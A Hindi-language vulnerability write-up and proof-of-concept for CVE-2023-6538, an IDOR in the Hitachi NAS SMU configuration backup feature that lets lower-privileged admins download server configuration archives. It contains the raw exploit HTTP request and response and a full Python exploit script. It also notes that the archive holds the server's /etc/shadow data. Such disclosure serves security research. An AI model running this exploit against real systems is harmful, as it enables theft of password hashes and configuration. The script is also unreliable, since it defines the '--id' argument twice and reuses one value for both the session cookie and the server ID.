
CVE-2023-6538 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hitachi NAS SMU कॉन्फ़िगरेशन बैकअप और रिस्टोर में एक IDOR है, जो संवेदनशील डेटा वाले कॉन्फ़िगरेशन आर्काइव के अनधिकृत डाउनलोड की अनुमति देता है।
CVE-2023-6538 एक असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ (IDOR) भेद्यता है जो Hitachi NAS (HNAS) के System Management Unit (SMU) की Configuration Backup & Restore कार्यक्षमता में पाई गई है। यह भेद्यता SMU के 14.8.7825.01 से पहले के संस्करणों को प्रभावित करती है।
इस शोषण के लिए हमलावर को एक उपयोगकर्ता खाते के क्रेडेंशियल्स पर नियंत्रण रखना आवश्यक है जो Read-Only या Global Administrator नहीं है, अर्थात:
Storage AdministratorServer AdministratorServer + Storage Administratorडिज़ाइन के अनुसार, Global Administrator भूमिका वाले उपयोगकर्ता SMU की Configuration Backup & Restore कार्यक्षमता तक पहुँच सकते हैं, जो https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 पर स्थित है, और निम्नलिखित अनुरोध भेज सकते हैं, जो चयनित सर्वर (अर्थात SMU से जुड़ा एक सर्वर) के कॉन्फ़िगरेशन का बैकअप बनाकर डाउनलोड करेगा:
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
यदि अनुरोध सफल होता है, तो SMU निम्नलिखित प्रतिक्रिया देता है और registry_data.tgz का डाउनलोड शुरू करता है:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
हालांकि, SMU के व्यावसायिक तर्क में एक चूक के कारण, Storage Administrator, Server Administrator या Server + Storage Administrator खाते तक पहुँच रखने वाला हमलावर JSESSIONID और JSESSIONIDSSO कुकीज़ को उस उपयोगकर्ता की कुकीज़ से मिलाने के लिए अपडेट कर सकता है जिसके पास वे हैं, जिससे वे कॉन्फ़िगरेशन आर्काइव डाउनलोड कर सकते हैं। इसके अतिरिक्त, हमलावर अनुरोध में serverid पैरामीटर को भी अपडेट कर सकता है ताकि SMU से जुड़े विभिन्न सर्वरों के कॉन्फ़िगरेशन आर्काइव को सूचीबद्ध और डाउनलोड किया जा सके।
इस प्रकार, इस भेद्यता का शोषण करने के लिए CVE-2023-6538.py जैसी स्क्रिप्ट का उपयोग किया जा सकता है:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
CVSS v3.1 स्कोर 7.6 के औचित्य को registry_data.tgz की जांच करके और समझा जा सकता है:
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
.tgz आर्काइव में SMU से जुड़े सर्वर के बारे में विभिन्न सेटिंग्स और जानकारी होती है:

जैसा कि ऊपर रिडैक्ट की गई इमेज में दिखाया गया है, registry5.db1 में चयनित सर्वर के /etc/shadow (जो regex के माध्यम से पाया गया) की सामग्री शामिल है।
यह भेद्यता CVE-2023-5808 की एक 'बहन भेद्यता' है।